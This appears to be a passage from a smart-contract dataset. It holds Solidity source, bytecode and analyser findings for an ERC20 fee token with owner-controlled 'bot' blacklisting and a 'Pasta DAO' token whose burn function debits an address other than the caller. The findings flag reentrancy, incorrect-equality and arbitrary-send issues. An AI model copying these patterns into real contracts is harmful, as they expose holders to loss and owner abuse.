IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fc578063cf0848f714610411578063cf9d4afa14610431578063dd62ed3e14610451578063e6ec64ec14610497578063f2fde38b146104b757600080fd5b8063715018a61461032c5780638da5cb5b1461034157806390d49b9d1461036957806395d89b4114610389578063a9059cbb146103bc578063b515566a146103dc57600080fd5b806331c2d8471161010857806331c2d847146102455780633bbac57914610265578063437823ec1461029e578063476343ee146102be5780635342acb4146102d357806370a082311461030c57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd14610211578063313ce5671461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d7565b005b34801561017e57600080fd5b5060408051808201909152600f81526e446567656e204e696e6a6120496e7560881b60208201525b6040516101b3919061194b565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046119c5565b610523565b60405190151581526020016101b3565b3480156101f857600080fd5b50670de0b6b3a76400005b6040519081526020016101b3565b34801561021d57600080fd5b506101dc61022c3660046119f1565b61053a565b34801561023d57600080fd5b506009610203565b34801561025157600080fd5b50610170610260366004611a48565b6105a3565b34801561027157600080fd5b506101dc610280366004611b0d565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102aa57600080fd5b506101706102b9366004611b0d565b610639565b3480156102ca57600080fd5b50610170610687565b3480156102df57600080fd5b506101dc6102ee366004611b0d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031857600080fd5b50610203610327366004611b0d565b6106c1565b34801561033857600080fd5b506101706106e3565b34801561034d57600080fd5b506000546040516001600160a01b0390911681526020016101b3565b34801561037557600080fd5b50610170610384366004611b0d565b610719565b34801561039557600080fd5b5060408051808201909152600a815269446567656e4e696e6a6160b01b60208201526101a6565b3480156103c857600080fd5b506101dc6103d73660046119c5565b610793565b3480156103e857600080fd5b506101706103f7366004611a48565b6107a0565b34801561040857600080fd5b506101706108b9565b34801561041d57600080fd5b5061017061042c366004611b0d565b610971565b34801561043d57600080fd5b5061017061044c366004611b0d565b6109bc565b34801561045d57600080fd5b5061020361046c366004611b2a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a357600080fd5b506101706104b2366004611b63565b610c17565b3480156104c357600080fd5b506101706104d2366004611b0d565b610c8d565b6000546001600160a01b0316331461050a5760405162461bcd60e51b815260040161050190611b7c565b60405180910390fd5b6000610515306106c1565b905061052081610d25565b50565b6000610530338484610e9f565b5060015b92915050565b6000610547848484610fc3565b610599843361059485604051806060016040528060288152602001611cf7602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611404565b610e9f565b5060019392505050565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161050190611b7c565b60005b8151811015610635576000600560008484815181106105f1576105f1611bb1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062d81611bdd565b9150506105d0565b5050565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161050190611b7c565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610635573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105349061143e565b6000546001600160a01b0316331461070d5760405162461bcd60e51b815260040161050190611b7c565b61071760006114c2565b565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161050190611b7c565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610530338484610fc3565b6000546001600160a01b031633146107ca5760405162461bcd60e51b815260040161050190611b7c565b60005b815181101561063557600c5482516001600160a01b03909116908390839081106107f9576107f9611bb1565b60200260200101516001600160a01b03161415801561084a5750600b5482516001600160a01b039091169083908390811061083657610836611bb1565b60200260200101516001600160a01b031614155b156108a75760016005600084848151811061086757610867611bb1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b181611bdd565b9150506107cd565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161050190611b7c565b600c54600160a01b900460ff166109475760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610501565b600c805460ff60b81b1916600160b81b17905542600d81905561096c9061012c611bf8565b600e55565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161050190611b7c565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e65760405162461bcd60e51b815260040161050190611b7c565b600c54600160a01b900460ff1615610a4e5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610501565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac99190611c10565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3a9190611c10565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611c10565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c415760405162461bcd60e51b815260040161050190611b7c565b600c811115610c885760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b6044820152606401610501565b600855565b6000546001600160a01b03163314610cb75760405162461bcd60e51b815260040161050190611b7c565b6001600160a01b038116610d1c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610501565b610520816114c2565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6d57610d6d611bb1565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dea9190611c10565b81600181518110610dfd57610dfd611bb1565b6001600160a01b039283166020918202929092010152600b54610e239130911684610e9f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5c908590600090869030904290600401611c2d565b600060405180830381600087803b158015610e7657600080fd5b505af1158015610e8a573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610501565b6001600160a01b038216610f625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610501565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610501565b6001600160a01b0382166110895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610501565b600081116110eb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610501565b6001600160a01b03831660009081526005602052604090205460ff16156111935760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610501565b6001600160a01b03831660009081526004602052604081205460ff161580156111d557506001600160a01b03831660009081526004602052604090205460ff16155b80156111eb5750600c54600160a81b900460ff16155b801561121b5750600c546001600160a01b038581169116148061121b5750600c546001600160a01b038481169116145b156113f257600c54600160b81b900460ff166112795760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610501565b50600c546001906001600160a01b0385811691161480156112a85750600b546001600160a01b03848116911614155b80156112b5575042600e54115b156112fc5760006112c5846106c1565b90506112e560646112df670de0b6b3a76400006002611512565b90611591565b6112ef84836115d3565b11156112fa57600080fd5b505b600d5442141561132a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611335306106c1565b600c54909150600160b01b900460ff161580156113605750600c546001600160a01b03868116911614155b156113f05780156113f057600c54611394906064906112df90600f9061138e906001600160a01b03166106c1565b90611512565b8111156113c157600c546113be906064906112df90600f9061138e906001600160a01b03166106c1565b90505b60006113ce826004611591565b90506113da8183611c9e565b91506113e581611632565b6113ee82610d25565b505b505b6113fe84848484611662565b50505050565b600081848411156114285760405162461bcd60e51b8152600401610501919061194b565b5060006114358486611c9e565b95945050505050565b60006006548211156114a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610501565b60006114af611765565b90506114bb8382611591565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261152157506000610534565b600061152d8385611cb5565b90508261153a8583611cd4565b146114bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610501565b60006114bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611788565b6000806115e08385611bf8565b9050838110156114bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610501565b600c805460ff60b01b1916600160b01b1790556116523061dead83610fc3565b50600c805460ff60b01b19169055565b8080611670576116706117b6565b60008060008061167f876117d2565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116ac9085611819565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116db90846115d3565b6001600160a01b0389166000908152600160205260409020556116fd8161185b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161174291815260200190565b60405180910390a3505050508061175e5761175e600954600855565b5050505050565b60008060006117726118a5565b90925090506117818282611591565b9250505090565b600081836117a95760405162461bcd60e51b8152600401610501919061194b565b5060006114358486611cd4565b6000600854116117c557600080fd5b6008805460095560009055565b6000806000806000806117e7876008546118e5565b9150915060006117f5611765565b90506000806118058a8585611912565b909b909a5094985092965092945050505050565b60006114bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611404565b6000611865611765565b905060006118738383611512565b3060009081526001602052604090205490915061189090826115d3565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118c08282611591565b8210156118dc57505060065492670de0b6b3a764000092509050565b90939092509050565b600080806118f860646112df8787611512565b905060006119068683611819565b96919550909350505050565b600080806119208685611512565b9050600061192e8686611512565b9050600061193c8383611819565b92989297509195505050505050565b600060208083528351808285015260005b818110156119785785810183015185820160400152820161195c565b8181111561198a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052057600080fd5b80356119c0816119a0565b919050565b600080604083850312156119d857600080fd5b82356119e3816119a0565b946020939093013593505050565b600080600060608486031215611a0657600080fd5b8335611a11816119a0565b92506020840135611a21816119a0565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5b57600080fd5b823567ffffffffffffffff80821115611a7357600080fd5b818501915085601f830112611a8757600080fd5b813581811115611a9957611a99611a32565b8060051b604051601f19603f83011681018181108582111715611abe57611abe611a32565b604052918252848201925083810185019188831115611adc57600080fd5b938501935b82851015611b0157611af2856119b5565b84529385019392850192611ae1565b98975050505050505050565b600060208284031215611b1f57600080fd5b81356114bb816119a0565b60008060408385031215611b3d57600080fd5b8235611b48816119a0565b91506020830135611b58816119a0565b809150509250929050565b600060208284031215611b7557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bf157611bf1611bc7565b5060010190565b60008219821115611c0b57611c0b611bc7565b500190565b600060208284031215611c2257600080fd5b81516114bb816119a0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c7d5784516001600160a01b031683529383019391830191600101611c58565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cb057611cb0611bc7565b500390565b6000816000190483118215151615611ccf57611ccf611bc7565b500290565b600082611cf157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220832be8ad60f5e6b2de3ab7cf7350aa680ff1f0f0179ba8da9c58275b3ebb90c564736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,743 |
0x19f6afe15c7fd8a900dbc86623b0d36912a2af1f
|
/**
*Submitted for verification at Etherscan.io on 2021-04-04
*/
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
interface TokenInterface {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pasta {
/// @notice EIP-20 token name for this token
string public constant name = "Pasta DAO 🍝";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "PASTA";
string public constant errorMsg = "It's all pasta 🌎🧑🚀🔫🧑🚀";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Address of UNI-V2 ETH/PASTA LP Token
TokenInterface public constant food = TokenInterface(0xE92346d9369Fe03b735Ed9bDeB6bdC2591b8227E);
/// @notice Cooldown period in seconds
uint public immutable COOLDOWN_SECONDS;
/// @notice Seconds available to redeem once the cooldown period is fullfilled
uint public immutable REDEEM_WINDOW;
mapping(address => uint) public holderCooldowns;
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Cooldown(address indexed user);
constructor(uint cooldown_, uint redeemWindow_) public {
COOLDOWN_SECONDS = cooldown_;
REDEEM_WINDOW = redeemWindow_;
}
/**
* @notice Mint tokens from UNI-V2 ETH/PASTA LP Tokens
* @param dst Address of the user to receive the tokens
* @param rawAmount The number of tokens to mint
*/
function mint(address dst, uint rawAmount) external {
uint96 amount = safe96(rawAmount, "Pasta::mint: amount exceeds 96 bits");
require(amount != 0, "Pasta::mint: invalid amount");
require(food.transferFrom(msg.sender, address(this), rawAmount), "Pasta::mint: mint failed");
balances[dst] = add96(balances[dst], amount, "Pasta::mint: mint amount overflows");
totalSupply = add256(totalSupply, rawAmount);
if (delegates[dst] == address(0)) {
_delegate(dst, dst);
} else {
_moveDelegates(address(0), delegates[dst], amount);
}
emit Transfer(address(0), dst, rawAmount);
}
/**
* @notice Burn tokens and recieve UNI-V2 ETH/PASTA LP Tokens
* @param dst Address of the user to receive the tokens
* @param rawAmount The number of tokens to burn
*/
function burn(address dst, uint rawAmount) external {
uint96 amount = safe96(rawAmount, "Pasta::burn: amount exceeds 96 bits");
require(amount != 0, "Pasta::burn: invalid amount");
uint256 cooldownStartTimestamp = holderCooldowns[msg.sender];
require(
block.timestamp > add256(cooldownStartTimestamp, COOLDOWN_SECONDS),
"Pasta::burn: invalid cooldown"
);
require(
sub256(block.timestamp, add256(cooldownStartTimestamp, COOLDOWN_SECONDS)) <= REDEEM_WINDOW,
"Pasta::burn: redeem window over"
);
uint96 amtToRedeem = (amount > balances[msg.sender]) ? balances[msg.sender] : amount;
balances[dst] = sub96(balances[dst], amtToRedeem, "Pasta::burn: burn amount underflows");
totalSupply = sub256(totalSupply, uint256(amtToRedeem));
require(food.transfer(dst, rawAmount), "Pasta::burn: transfer failed");
_moveDelegates(delegates[dst], address(0), amtToRedeem);
emit Transfer(dst, address(0), rawAmount);
}
/**
* @dev Activates the cooldown period to redeem
*/
function cooldown() external {
require(balances[msg.sender] != 0, "Pasta::cooldown: invalid balance");
holderCooldowns[msg.sender] = block.timestamp;
emit Cooldown(msg.sender);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) pure external returns (bool) {
revert(errorMsg);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) pure external returns (bool) {
revert(errorMsg);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) pure external returns (bool) {
revert(errorMsg);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function add256(uint a, uint b) internal pure returns (uint c) {
require((c = a + b) >= a, "math-not-safe");
}
function sub256(uint a, uint b) internal pure returns (uint c) {
require((c = a - b) <= a, "math-not-safe");
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063782d6fe1116100f9578063a9059cbb11610097578063c3cda52011610071578063c3cda520146104fa578063dd62ed3e14610516578063e7a324dc14610546578063f1127ed814610564576101a9565b8063a9059cbb1461047c578063b37346cf146104ac578063b4b5ea57146104ca576101a9565b80638eaaa94c116100d35780638eaaa94c146103f457806395d89b411461042457806398b4e8d3146104425780639dc29fac14610460576101a9565b8063782d6fe11461038a578063787a08a6146103ba5780637ecebe00146103c4576101a9565b806340c10f19116101665780635c19a95c116101405780635c19a95c146102f05780636fcfff451461030c57806370a082311461033c57806372b49d631461036c576101a9565b806340c10f19146102865780635001cade146102a2578063587cde1e146102c0576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101fc57806320606b701461021a57806323b872dd14610238578063313ce56714610268575b600080fd5b6101b6610595565b6040516101c39190612f04565b60405180910390f35b6101e660048036038101906101e1919061274a565b6105ce565b6040516101f39190612de4565b60405180910390f35b610204610625565b60405161021191906130a6565b60405180910390f35b61022261062b565b60405161022f9190612dff565b60405180910390f35b610252600480360381019061024d91906126fb565b61064f565b60405161025f9190612de4565b60405180910390f35b6102706106a6565b60405161027d9190613105565b60405180910390f35b6102a0600480360381019061029b919061274a565b6106ab565b005b6102aa610a78565b6040516102b79190612f04565b60405180910390f35b6102da60048036038101906102d59190612696565b610a94565b6040516102e79190612d69565b60405180910390f35b61030a60048036038101906103059190612696565b610ac7565b005b61032660048036038101906103219190612696565b610ad4565b60405161033391906130c1565b60405180910390f35b61035660048036038101906103519190612696565b610af7565b60405161036391906130a6565b60405180910390f35b610374610b66565b60405161038191906130a6565b60405180910390f35b6103a4600480360381019061039f919061274a565b610b8a565b6040516103b19190613120565b60405180910390f35b6103c2610f99565b005b6103de60048036038101906103d99190612696565b6110cb565b6040516103eb91906130a6565b60405180910390f35b61040e60048036038101906104099190612696565b6110e3565b60405161041b91906130a6565b60405180910390f35b61042c6110fb565b6040516104399190612f04565b60405180910390f35b61044a611134565b6040516104579190612ee9565b60405180910390f35b61047a6004803603810190610475919061274a565b61114c565b005b6104966004803603810190610491919061274a565b6116a4565b6040516104a39190612de4565b60405180910390f35b6104b46116fb565b6040516104c191906130a6565b60405180910390f35b6104e460048036038101906104df9190612696565b61171f565b6040516104f19190613120565b60405180910390f35b610514600480360381019061050f9190612786565b61180d565b005b610530600480360381019061052b91906126bf565b611aca565b60405161053d91906130a6565b60405180910390f35b61054e611b77565b60405161055b9190612dff565b60405180910390f35b61057e6004803603810190610579919061280f565b611b9b565b60405161058c9291906130dc565b60405180910390f35b6040518060400160405280600e81526020017f50617374612044414f20f09f8d9d00000000000000000000000000000000000081525081565b60006040518060600160405280602d8152602001613465602d91396040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c9190612f04565b60405180910390fd5b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60006040518060600160405280602d8152602001613465602d91396040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d9190612f04565b60405180910390fd5b601281565b60006106cf8260405180606001604052806023815260200161335760239139611bf4565b90506000816bffffffffffffffffffffffff161415610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90613086565b60405180910390fd5b73e92346d9369fe03b735ed9bdeb6bdc2591b8227e73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b815260040161077493929190612d84565b602060405180830381600087803b15801561078e57600080fd5b505af11580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c6919061284b565b610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fc90612f46565b60405180910390fd5b61087f600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806022815260200161344360229139611c52565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bfffffffffffffffffff